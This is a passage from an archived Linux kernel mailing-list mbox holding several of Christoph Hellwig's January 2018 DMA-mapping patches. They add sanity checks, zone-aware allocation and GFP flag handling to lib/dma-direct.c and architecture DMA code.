        3lplMT/oea80r1Mjzm1GySlvn/kfMwvCBxd6PxEunUi8xcHrKRJTPUq31K9UY24UwuC2HLArVtmGS
        U0bR1bMoJLv6kERNoAXt6h2APHXRgu7qRhh38zkxkR7fTn2VqP+Kw0HkqrYUoNLuM3G5bvGu80sZf
        OAXb73uMEREk2IZ5qFLiohhlFK/BdMnTFHm+gR8ZpDW/PAkGtmZfUgsrPvQE1s/nr7q+5VzMqtOvP
    
Original-Received: from [188.21.167.3] (helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZuwb-0000Gi-VC; Fri, 12 Jan 2018 08:44:10 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:27267 gmane.linux.kernel.iommu:22173 gmane.linux.ports.alpha:4756 gmane.linux.kernel.arc:3366 gmane.linux.ports.arm.kernel:625672 gmane.linux.ports.hexagon:1582 gmane.linux.ports.ia64:28617 gmane.linux.kernel.metag:1659 gmane.linux.ports.mips.general:63314 gmane.linux.ports.parisc:28259 gmane.linux.ports.ppc64.devel:152041 gmane.linux.ports.sh.devel:56318 gmane.linux.kernel.cross-arch:41475 gmane.linux.kernel:2665106
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/27267>

If an attempt to allocate memory succeeded, but isn't inside the
supported DMA mask, retry the allocation with GFP_DMA set as a
last resort.

Based on the x86 code, but an off by one error in what is now
dma_coherent_ok has been fixed vs the x86 code.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 lib/dma-direct.c | 25 ++++++++++++++++++++++++-
 1 file changed, 24 insertions(+), 1 deletion(-)

diff --git a/lib/dma-direct.c b/lib/dma-direct.c
index 8f76032ebc3c..4e43c2bb7f5f 100644
--- a/lib/dma-direct.c
+++ b/lib/dma-direct.c
@@ -35,6 +35,11 @@ check_addr(struct device *dev, dma_addr_t dma_addr, size_t size,
 	return true;
 }
 
+static bool dma_coherent_ok(struct device *dev, phys_addr_t phys, size_t size)
+{
+	return phys_to_dma(dev, phys) + size - 1 <= dev->coherent_dma_mask;
+}
+
 static void *dma_direct_alloc(struct device *dev, size_t size,
 		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
 {
@@ -48,11 +53,29 @@ static void *dma_direct_alloc(struct device *dev, size_t size,
 	if (dev->coherent_dma_mask <= DMA_BIT_MASK(32) && !(gfp & GFP_DMA))
 		gfp |= GFP_DMA32;
 
+again:
 	/* CMA can be used only in the context which permits sleeping */
-	if (gfpflags_allow_blocking(gfp))
+	if (gfpflags_allow_blocking(gfp)) {
 		page = dma_alloc_from_contiguous(dev, count, page_order, gfp);
+		if (page && !dma_coherent_ok(dev, page_to_phys(page), size)) {
+			dma_release_from_contiguous(dev, page, count);
+			page = NULL;
+		}
+	}
 	if (!page)
 		page = alloc_pages_node(dev_to_node(dev), gfp, page_order);
+
+	if (page && !dma_coherent_ok(dev, page_to_phys(page), size)) {
+		__free_pages(page, page_order);
+		page = NULL;
+
+		if (dev->coherent_dma_mask < DMA_BIT_MASK(32) &&
+		    !(gfp & GFP_DMA)) {
+			gfp = (gfp & ~GFP_DMA32) | GFP_DMA;
+			goto again;
+		}
+	}
+
 	if (!page)
 		return NULL;
 
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 26/34] dma-direct: add dma address sanity checks
Date: Fri, 12 Jan 2018 09:42:24 +0100
Lines: 76
Approved: news@gmane.org
Message-ID: <20180112084232.2857-27-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515746646 3796 195.159.176.226 (12 Jan 2018 08:44:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:44:06 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Jan 12 09:44:00 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eZuw8-00083p-An
	for glki-iommu@m.gmane.org; Fri, 12 Jan 2018 09:43:40 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 2C214CB4;
	Fri, 12 Jan 2018 08:44:05 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp2.linuxfoundation.org (smtp2.linux-foundation.org
	[172.17.192.36])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 9BD53C0F
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 12 Jan 2018 08:44:04 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp2.linuxfoundation.org (Postfix) with ESMTPS id 7480C1E05B
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 12 Jan 2018 08:44:03 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=XvO4LK7WFMilh/eZRq/xi/V4zyeVZJH/9zNVK0M2kCU=;
	b=TNWbGYHgGDHQ3Xnmcjn29UJq2
	/Cgm7Kv4h216ewhdbN09jcw5R+y2Wdqc9TIfYonA94116j2Q0w96j7jf1ef/wpZ5A+O44QqZKi7zo
	+JDreXSaIDXne2B7BWvDBHPCL3+2JqKXv7jC+aETrrEGQAXACUE4ehOuQP+T30y7PCsxGY+26hxQr
	+1moaTSHkQHaZy1Wp1w19/vtYgbFQtE1BczER7cPcuK4mG6DzZjEcB9UI86UV74k/ENlvsXu0rVkv
	KFiivLaunFKQgnjvp14vSlibbxWYwnygjLIJTA1Ophgunrz1TyhAx1hg6QPI843EuNu3Qmjo0qQWO
	lTViaj4Dg==;
Original-Received: from [188.21.167.3] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eZuwP-0008To-S4; Fri, 12 Jan 2018 08:43:58 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:22174 gmane.linux.ports.mips.general:63315 gmane.linux.ports.ia64:28618 gmane.linux.ports.sh.devel:56319 gmane.linux.ports.sparc:27268 gmane.linux.kernel.cross-arch:41476 gmane.linux.ports.hexagon:1583 gmane.linux.kernel.arc:3367 gmane.linux.kernel.metag:1660 gmane.linux.ports.arm.kernel:625673 gmane.linux.ports.parisc:28260 gmane.linux.kernel:2665107 gmane.linux.ports.alpha:4757 gmane.linux.ports.ppc64.devel:152042
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/22174>

Roughly based on the x86 pci-nommu implementation.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 lib/dma-direct.c | 31 ++++++++++++++++++++++++++++++-
 1 file changed, 30 insertions(+), 1 deletion(-)

diff --git a/lib/dma-direct.c b/lib/dma-direct.c
index 12ea9653781b..32fd4d9e4c47 100644
--- a/lib/dma-direct.c
+++ b/lib/dma-direct.c
@@ -9,6 +9,23 @@
 #include <linux/scatterlist.h>
 #include <linux/pfn.h>
 
+#define DIRECT_MAPPING_ERROR		0
+
+static bool
+check_addr(struct device *dev, dma_addr_t dma_addr, size_t size,
+		const char *caller)
+{
+	if (unlikely(dev && !dma_capable(dev, dma_addr, size))) {
+		if (*dev->dma_mask >= DMA_BIT_MASK(32)) {
+			dev_err(dev,
+				"%s: overflow %pad+%zu of device mask %llx\n",
+				caller, &dma_addr, size, *dev->dma_mask);
+		}
+		return false;
+	}
+	return true;
+}
+
 static void *dma_direct_alloc(struct device *dev, size_t size,
 		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
 {
@@ -31,7 +48,11 @@ static dma_addr_t dma_direct_map_page(struct device *dev, struct page *page,
 		unsigned long offset, size_t size, enum dma_data_direction dir,
 		unsigned long attrs)
 {
-	return phys_to_dma(dev, page_to_phys(page)) + offset;
+	dma_addr_t dma_addr = phys_to_dma(dev, page_to_phys(page)) + offset;
+
+	if (!check_addr(dev, dma_addr, size, __func__))
+		return DIRECT_MAPPING_ERROR;
+	return dma_addr;
 }
 
 static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
@@ -44,16 +65,24 @@ static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
 		BUG_ON(!sg_page(sg));
 
 		sg_dma_address(sg) = phys_to_dma(dev, sg_phys(sg));
+		if (!check_addr(dev, sg_dma_address(sg), sg->length, __func__))
+			return 0;
 		sg_dma_len(sg) = sg->length;
 	}
 
 	return nents;
 }
 
+static int dma_direct_mapping_error(struct device *dev, dma_addr_t dma_addr)
+{
+	return dma_addr == DIRECT_MAPPING_ERROR;
+}
+
 const struct dma_map_ops dma_direct_ops = {
 	.alloc			= dma_direct_alloc,
 	.free			= dma_direct_free,
 	.map_page		= dma_direct_map_page,
 	.map_sg			= dma_direct_map_sg,
+	.mapping_error		= dma_direct_mapping_error,
 };
 EXPORT_SYMBOL(dma_direct_ops);
-- 
2.14.2


From - Thu Nov 08 21:40:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 29/34] dma-direct: add support for allocation from ZONE_DMA and ZONE_DMA32
Date: Fri, 12 Jan 2018 09:42:27 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <20180112084232.2857-30-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515746667 8625 195.159.176.226 (12 Jan 2018 08:44:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:44:27 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: sparclinux-owner@vger.kernel.org Fri Jan 12 09:44:21 2018
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1eZuwl-0007Yh-Pt
	for lnx-sparclinux@m.gmane.org; Fri, 12 Jan 2018 09:44:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S934044AbeALIqW (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Fri, 12 Jan 2018 03:46:22 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:47965 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S933684AbeALIoN (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Fri, 12 Jan 2018 03:44:13 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=KqTQ9gpRM5mdnZ4+PbKZZztFOTdS84gvO3UIDdU61M0=; b=C/rP/EPej76j2mvbcQC2JcaYP
        R/ae4h99gj4nbPHg7lH6fLCoDs+ALVgUkuwuDZKedNFD3yMSJmGb/Tyg3A8LCsF457XbYZxjVMnTX
        ejJDxVQRZdSHnAOr9I5H1NckA8L05trp47DMBk3CLSBlF/ZMZVaJkv2DfTk3rwVx5Q8Lfmif0kwI5
        14s4DDKROGiU2eXvUDA9QV2UJWd+3nvsvJpq14e8+jTRfu7nBiNEhXGQCHvRN7HiwCZdWBgeqTh1p
        PLvnpp+tqVPEV62EHazJ+i9A8QzjqBRU2C3krbwCTk4fMCDGOrdDGv5Fke+3nC+VxSiOThSyuguuL
    
Original-Received: from [188.21.167.3] (helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZuwY-0000D6-UB; Fri, 12 Jan 2018 08:44:07 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:27269 gmane.linux.kernel.iommu:22175 gmane.linux.ports.alpha:4758 gmane.linux.kernel.arc:3368 gmane.linux.ports.arm.kernel:625674 gmane.linux.ports.hexagon:1584 gmane.linux.ports.ia64:28619 gmane.linux.kernel.metag:1661 gmane.linux.ports.mips.general:63316 gmane.linux.ports.parisc:28261 gmane.linux.ports.ppc64.devel:152043 gmane.linux.ports.sh.devel:56320 gmane.linux.kernel.cross-arch:41477 gmane.linux.kernel:2665108
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/27269>

This allows to dip into zones for lower memory if they are available.
If one of the zones is not available the corresponding GFP_* flag
will evaluate to 0 so they won't change anything.  We provide an
arch tunable for those architectures that do not use GFP_DMA for
the lowest 24-bits, given that there are a few.

Roughly based on the x86 code.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 lib/dma-direct.c | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/lib/dma-direct.c b/lib/dma-direct.c
index f04a424f91fa..8f76032ebc3c 100644
--- a/lib/dma-direct.c
+++ b/lib/dma-direct.c
@@ -12,6 +12,14 @@
 
 #define DIRECT_MAPPING_ERROR		0
 
+/*
+ * Most architectures use ZONE_DMA for the first 16 Megabytes, but
+ * some use it for entirely different regions:
+ */
+#ifndef ARCH_ZONE_DMA_BITS
+#define ARCH_ZONE_DMA_BITS 24
+#endif
+
 static bool
 check_addr(struct device *dev, dma_addr_t dma_addr, size_t size,
 		const char *caller)
@@ -34,6 +42,12 @@ static void *dma_direct_alloc(struct device *dev, size_t size,
 	int page_order = get_order(size);
 	struct page *page = NULL;
 
+	/* GFP_DMA32 and GFP_DMA are no ops without the corresponding zones: */
+	if (dev->coherent_dma_mask <= DMA_BIT_MASK(ARCH_ZONE_DMA_BITS))
+		gfp |= GFP_DMA;
+	if (dev->coherent_dma_mask <= DMA_BIT_MASK(32) && !(gfp & GFP_DMA))
+		gfp |= GFP_DMA32;
+
 	/* CMA can be used only in the context which permits sleeping */
 	if (gfpflags_allow_blocking(gfp))
 		page = dma_alloc_from_contiguous(dev, count, page_order, gfp);
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 21/34] dma-mapping: clear harmful GFP_* flags in common code
Date: Fri, 12 Jan 2018 09:42:19 +0100
Lines: 200
Approved: news@gmane.org
Message-ID: <20180112084232.2857-22-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515746745 24978 195.159.176.226 (12 Jan 2018 08:45:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:45:45 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-ia64@vger.kernel.org,
 linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
 Guan Xuetao <gxt@mprc.pku.edu.cn>, linux-arch@vger.kernel.org,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 linux-hexagon@vger.kernel.org, x86@kernel.org,
 Konrad Rzeszutek Wilk <konrad@darnok.org>, linux-snps-arc@lists.infradead.org,
 linux-m68k@lists.linux-m68k.org, patches@groups.riscv.org,
 linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
 Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
 linux-cris-kernel@axis.com, linux-kernel@vger.kernel.org,
 linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Jan 12 09:45:38 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([65.50.211.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1eZuxq-0005ZB-9M
	for gla-linux-snps-arc@m.gmane.org; Fri, 12 Jan 2018 09:45:26 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=ivdofKCwZSb9jSnsi4uIIghXCctJMqVrf702Gr/mFMw=; b=Ff/GAaiCa2uEHqxnjo5ICyMoiv
	9mGjpFyGv+ImX9IWW4VgsEiZtfh2NA2tSoAac/72KUCbOxiV3OdnAoYSqJfQA8NA63NvAmcFFFQPr
	x8QKiK/h8ZhsE5Oqih/l/sQdqI7TvnlF2VbgZ/LYCwXjVDE+gQsMOoKxqTnaRHCjyNv2QXrPPtGPX
	hgC7co2bTDmTCyynGb3F++buEI/ToG0qOB0JiWAEKBLONZiTQRn9BB7cBi0dOnUD5+OyEgqz77gtR
	2y4GKVmWHKly6eBeZgCQGct5QeRBCpzWmwZDFrlLdP8g/DOIEKVcOZ0w0CigOm7gIjn8TTrY7WDHB
	sSwGRikQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.89 #1 (Red Hat Linux))
	id 1eZuzo-0004xI-JH; Fri, 12 Jan 2018 08:47:28 +0000
Original-Received: from [188.21.167.3] (helo=localhost)
 by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
 id 1eZuwB-0008Dr-Ci; Fri, 12 Jan 2018 08:43:43 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch@lst.de>
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3369 gmane.linux.kernel.iommu:22176 gmane.linux.ports.mips.general:63317 gmane.linux.ports.ia64:28620 gmane.linux.ports.sh.devel:56321 gmane.linux.ports.sparc:27270 gmane.linux.kernel.cross-arch:41478 gmane.linux.ports.hexagon:1585 gmane.linux.kernel.metag:1662 gmane.linux.ports.arm.kernel:625675 gmane.linux.ports.parisc:28262 gmane.linux.kernel:2665110 gmane.linux.ports.alpha:4759 gmane.linux.ports.ppc64.devel:152044
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3369>

Lift the code from x86 so that we behave consistently.  In the future we
should probably warn if any of these is set.

Signed-off-by: Christoph Hellwig <hch@lst.de>
Acked-by: Jesper Nilsson <jesper.nilsson@axis.com>
Acked-by: Geert Uytterhoeven <geert@linux-m68k.org> [m68k]
---
 arch/cris/arch-v32/drivers/pci/dma.c      | 3 ---
 arch/h8300/kernel/dma.c                   | 3 ---
 arch/m68k/kernel/dma.c                    | 2 --
 arch/mips/cavium-octeon/dma-octeon.c      | 3 ---
 arch/mips/loongson64/common/dma-swiotlb.c | 3 ---
 arch/mips/mm/dma-default.c                | 3 ---
 arch/mips/netlogic/common/nlm-dma.c       | 3 ---
 arch/mn10300/mm/dma-alloc.c               | 3 ---
 arch/nios2/mm/dma-mapping.c               | 3 ---
 arch/powerpc/kernel/dma.c                 | 3 ---
 arch/x86/kernel/pci-dma.c                 | 2 --
 include/linux/dma-mapping.h               | 7 +++++++
 12 files changed, 7 insertions(+), 31 deletions(-)

diff --git a/arch/cris/arch-v32/drivers/pci/dma.c b/arch/cris/arch-v32/drivers/pci/dma.c
index dbbd3816cc0b..8c3802244ef3 100644
--- a/arch/cris/arch-v32/drivers/pci/dma.c
+++ b/arch/cris/arch-v32/drivers/pci/dma.c
@@ -22,9 +22,6 @@ static void *v32_dma_alloc(struct device *dev, size_t size,
 {
 	void *ret;
 
-	/* ignore region specifiers */
-	gfp &= ~(__GFP_DMA | __GFP_HIGHMEM);
-
 	if (dev == NULL || (dev->coherent_dma_mask < 0xffffffff))
 		gfp |= GFP_DMA;
 
diff --git a/arch/h8300/kernel/dma.c b/arch/h8300/kernel/dma.c
index 225dd0a188dc..d44ba5db4ac3 100644
